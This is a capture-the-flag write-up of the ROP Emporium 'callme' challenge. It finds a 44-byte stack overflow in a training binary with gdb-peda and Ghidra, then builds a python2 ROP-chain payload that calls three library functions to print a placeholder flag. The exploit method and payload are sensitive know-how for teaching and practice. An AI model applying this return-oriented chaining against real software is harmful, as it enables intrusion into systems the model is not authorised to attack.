

Challenge 3 - Callme

Rahn Stavar

Useful challenge info

Important!

To dispose of the need for any RE I'll tell you the following:

You must call the `callme_one()`, `callme_two()` and `callme_three()` functions in that order, each with the arguments `0xdeadbeef`, `0xcafebabe`, `0xd00df00d` e.g. `callme_one(0xdeadbeef, 0xcafebabe, 0xd00df00d)` to print the flag. For the **x86_64** binary double up those values, e.g. `callme_one(0xdeadbeefdeadbeef, 0xcafebabecafebabe, 0xd00df00dd00df00d)`

Write-up:

```
(kali@kali)~/ROPemporium/Ex3
$ file callme32
callme32: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=3ca5c8a17bcd8926f0cda98986ef619c55023b6d, not stripped

(kali@kali)~/ROPemporium/Ex3
$ checksec --file=callme32
RELRO: Partial RELRO
STACK CANARY: No canary found
NX: NX enabled
PIE: No PIE
RPATH: No RPATH
RUNPATH: No RUNPATH
Symbols: 75 Symbols
FORTIFY: No
Fortified: 0
Fortifiable: 3
FILE: callme32

(kali@kali)~/ROPemporium/Ex3
$ readelf -Ws | grep FUNC
1: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.0 (2)
3: 00000000 0 FUNC GLOBAL DEFAULT UND callme_three
4: 00000000 0 FUNC GLOBAL DEFAULT UND callme_one
5: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0 (2)
6: 00000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.0 (2)
7: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
8: 00000000 0 FUNC GLOBAL DEFAULT UND setvbuf@GLIBC_2.0 (2)
9: 00000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.0 (2)
10: 00000000 0 FUNC GLOBAL DEFAULT UND callme_two
11: 00000000 0 FUNC GLOBAL DEFAULT UND __init
12: 00000000 0 FUNC GLOBAL DEFAULT UND __fini
13: 00000000 0 FUNC GLOBAL DEFAULT UND deregister_tm_clones
14: 00000000 0 FUNC LOCAL DEFAULT 14 register_tm_clones
15: 00000000 0 FUNC LOCAL DEFAULT 14 __do_global_ctors_aux
16: 00000000 0 FUNC LOCAL DEFAULT 14 frame_dummy
17: 00000000 0 FUNC LOCAL DEFAULT 14 pwnme
18: 00000000 0 FUNC LOCAL DEFAULT 14 usefulFunction
19: 00000000 0 FUNC GLOBAL DEFAULT 14 __libc_csu_fini
20: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0
21: 00000000 0 FUNC GLOBAL HIDDEN 14 __x86.get_pc_thunk.bx
22: 00000000 0 FUNC GLOBAL DEFAULT UND printf@GLIBC_2.0
23: 00000000 0 FUNC GLOBAL DEFAULT 15 __fini
24: 00000000 0 FUNC GLOBAL DEFAULT UND callme_three
25: 00000000 0 FUNC GLOBAL DEFAULT UND callme_one
26: 00000000 0 FUNC GLOBAL DEFAULT UND puts@GLIBC_2.0
27: 00000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.0
28: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0
29: 00000000 0 FUNC GLOBAL DEFAULT 14 __libc_csu_init
30: 00000000 0 FUNC GLOBAL DEFAULT UND setvbuf@GLIBC_2.0
31: 00000000 0 FUNC GLOBAL DEFAULT UND memset@GLIBC_2.0
32: 00000000 0 FUNC GLOBAL HIDDEN 14 __dl_relocate_static_pie
33: 00000000 0 FUNC GLOBAL DEFAULT 14 __start
```

As before, the `NX` bit is set and there are some interesting functions names.

Analysis in Ghidra shows `usefulFunction` calls the three external library functions mentioned in the challenge instructions. The instructions state that to win, the 3 external functions must be called with specific parameters in a specific order in order to decrypt the flag.

undefined	undefined usefulFunction() AL:1 usefulFunction	<RETURN>	XREF[2]:
0804874f 55	PUSH	EBP	
08048750 89 e5	MOV	EBP,ESP	
08048752 83 ec 08	SUB	ESP,0x8	
08048755 83 ec 04	SUB	ESP,0x4	
08048758 6a 06	PUSH	0x6	
0804875a 6a 05	PUSH	0x5	
0804875c 6a 04	PUSH	0x4	
0804875e e8 7d fd ff ff	CALL	<EXTERNAL>::callme_three	
08048763 83 c4 10	ADD	ESP,0x10	
08048766 83 ec 04	SUB	ESP,0x4	
08048769 6a 06	PUSH	0x6	
0804876b 6a 05	PUSH	0x5	
0804876d 6a 04	PUSH	0x4	
0804876f e8 dc fd ff ff	CALL	<EXTERNAL>::callme_two	
08048774 83 c4 10	ADD	ESP,0x10	
08048777 83 ec 04	SUB	ESP,0x4	
0804877a 6a 06	PUSH	0x6	
0804877c 6a 05	PUSH	0x5	
0804877e 6a 04	PUSH	0x4	
08048780 e8 6b fd ff ff	CALL	<EXTERNAL>::callme_one	
08048785 83 c4 10	ADD	ESP,0x10	
08048788 83 ec 0c	SUB	ESP,0xc	
0804878b 6a 01	PUSH	0x1	
0804878d e8 7e fd ff ff	CALL	<EXTERNAL>::exit	

The function `pwnme` contains a buffer overflow vulnerability, which I can use to create a ROP chain on the stack to call each of the required functions (with their respective parameters) in the correct order.

```
void pwnme(void)
{
    undefined local_2c [40];
    memset(local_2c,0,0x20);
    puts("Hope you read the instructions...\n");
    printf("> ");
    read(0,local_2c,0x200);
    puts("Thank you!");
    return;
}
```

Using `gdb-peda` I found the offset from the buffer to the return address of `pwnme` on the stack:

```
gdb-peda$ r < pattern.txt
Starting program: /home/kali/ROPemporium/Ex3/callme32 < pattern.txt
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
callme by ROP Emporium
x86
.data
.got.plt
.dynamic
.unit_array

Hope you read the instructions ...
> Thank you!

Program received signal SIGSEGV, Segmentation fault.
Warning: 'set logging off', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled off'.

Warning: 'set logging on', an alias for the command 'set logging enabled', is deprecated.
Use 'set logging enabled on'.

[----- registers -----]
EAX: 0xb ('\x0b')
EBX: 0xf7e1dff4 → 0x21dd8c
ECX: 0xf7e1f9b8 → 0x0
EDX: 0x0
ESI: 0x80487a0 (<__libc_csu_init>: push ebp)
EDI: 0xf7ffcbab → 0x0
EBP: 0x41304141 ('AA0A')
ESP: 0xffffcfa0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\206\206\004\b\001")
EIP: 0x41414641 ('AFAA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)

[----- code -----]
Invalid $PC address: 0x41414641

[----- stack -----]
0000| 0xffffcfa0 ("bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\206\206\004\b\001")
0004| 0xffffcfa4 ("AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\206\206\004\b\001")
0008| 0xffffcfa8 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\206\206\004\b\001")
0012| 0xffffcfac ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\206\206\004\b\001")
0016| 0xffffcfb0 ("AdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\206\206\004\b\001")
0020| 0xffffcfb4 ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\206\206\004\b\001")
0024| 0xffffcfb8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL\206\206\004\b\001")
0028| 0xffffcfbc ("AA4AAJAAfAA5AAKAAgAA6AAL\206\206\004\b\001")

[-----]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41414641 in ?? ()
gdb-peda$ pattern offset AFAA
AFAA found at offset: 44
```

As in the previous challenge, the offset is 44 bytes.

Now, because I want to call 3 functions, each with arguments, I am going to need a way to properly set up the stack each time before the next function in the chain is called.

In the previous challenge, it was possible to reuse the `call system()` instruction, but in this case, reusing the `call callme_one` instruction would result in the wrong return address being set and execution returning to this point after `callme_one` is finished. This is a problem because I then need to call the other two `callme` functions. This means, in this case I can't use the existing `call` instructions and instead need to set up the stack manually.

In x86, when calling a function, the stack should look like:

```
address to jump to,  
return address,  
args
```

Because I need to call 3 functions, I need to do this 3 times. The problem, however, is that if I just set the return address to `callme_two`, its return becomes `arg1` and its first parameter becomes `arg2`, which is not correct.

So, I will need some ROP gadget to clean up my stack by `pop`-ing the 3 parameters from the stack, before returning to the next function in the chain.

```
(kali@kali)~/ROPemporium/Ex3  
$ ROPgadget --binary callme32 | grep "pop"  
0x0804867c : add byte ptr [eax], al ; add byte ptr [eax], al ; push ebp ; mov ebp, esp ; pop ebp ; jmp 0x8048610  
0x080484a8 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret  
0x0804867e : add byte ptr [eax], al ; push ebp ; mov ebp, esp ; pop ebp ; jmp 0x8048610  
0x080486e4 : add byte ptr [ebx - 0x723603b3], cl ; popal ; cld ; ret  
0x080487f5 : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  
0x080484aa : add esp, 8 ; pop ebx ; ret  
0x0804867b : daa ; add byte ptr [eax], al ; add byte ptr [eax], al ; push ebp ; mov ebp, esp ; pop ebp ; jmp 0x8048610  
0x080487f4 : jecxz 0x8048779 ; les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret  
0x080487f3 : jne 0x80487d8 ; add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret  
0x080484ab : les ecx, ptr [eax] ; pop ebx ; ret  
0x080487f6 : les ecx, ptr [ebx + ebx*2] ; pop esi ; pop edi ; pop ebp ; ret  
0x080484a6 : mov dh, 0 ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret  
0x08048681 : mov ebp, esp ; pop ebp ; jmp 0x8048610  
0x080487f7 : or al, 0x5b ; pop esi ; pop edi ; pop ebp ; ret  
0x08048683 : pop ebp ; jmp 0x8048610  
0x080487fb : pop ebp ; ret  
0x080487f8 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret  
0x080484ad : pop ebx ; ret  
0x080487fa : pop edi ; pop ebp ; ret  
0x080487f9 : pop esi ; pop edi ; pop ebp ; ret  
0x08048810 : pop ss ; add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret  
0x080486ea : popal ; cld ; ret  
0x08048680 : push ebp ; mov ebp, esp ; pop ebp ; jmp 0x8048610
```

Using `ROPgadget`, I have found one gadget which pops 3 values from the stack and saves them in registers. I will use this gadget to clean my stack between each function call. It will remove the 3 parameters from the stack, and then `ret` to the next value on the stack, which will be my next function call.

For the addresses of each function I need to call, I will use the address of the "THUNK" functions for each of these, as the actual functions are external and loaded in at runtime. I found these addresses using Ghidra.

Putting all of this together, my exploit should look like:

```
44 bytes of junk
```

```
addr of callme_one # 0x080484f0
```

```
addr of ROP gadget # 0x080487f9
```

```
args:
```

```
0xdeadbeef
```

```
0xcafebabe
```

```
0xd00df00d
```

```
addr of callme_two # 0x08048550
addr of ROP gadget
args

addr of callme_three # 0x080484e0
dummy addr # 0x00000000
args
```

I generate the payload like so:

```
python2 -c 'print \
"\x00"*44 + \
"\xf0\x84\x04\x08" + \
"\xf9\x87\x04\x08" + \
"\xef\xbe\xad\xde" + \
"\xbe\xba\xfe\xca" + \
"\x0d\xf0\x0d\xd0" + \
"\x50\x85\x04\x08" + \
"\xf9\x87\x04\x08" + \
"\xef\xbe\xad\xde" + \
"\xbe\xba\xfe\xca" + \
"\x0d\xf0\x0d\xd0" + \
"\xe0\x84\x04\x08" + \
"\x00\x00\x00\x00" + \
"\xef\xbe\xad\xde" + \
"\xbe\xba\xfe\xca" + \
"\x0d\xf0\x0d\xd0" \
' > payload.txt
```

Executing `callme32` with this payload gives the following output:

```
(kali㉿kali)-[~/ROPemporium/Ex3]
$ xxd payload.txt
00000000: 0000 0000 0000 0000 0000 0000 0000 0000  .....
00000010: 0000 0000 0000 0000 0000 0000 0000 0000  .....
00000020: 0000 0000 0000 0000 0000 0000 f084 0408  .....
00000030: f987 0408 efbe adde beba feca 0df0 0dd0  .....
00000040: 5085 0408 f987 0408 efbe adde beba feca  P...
00000050: 0df0 0dd0 e084 0408 0000 0000 efbe adde  .....
00000060: beba feca 0df0 0dd0 0a                      080484e6 68 10 00  PUSH
                                00 00
                                080484eb e9 c0 ff  JNP
                                ff ff

callme by ROP Emporium
x86

Hope you read the instructions...

> Thank you!
callme_one() called correctly
callme_two() called correctly
ROPE{a_placeholder_32byte_flag!}
```

As you can see, the ROP chain worked and the flag was successfully "decrypted" and printed, by chaining together 3 external functions with specific parameters.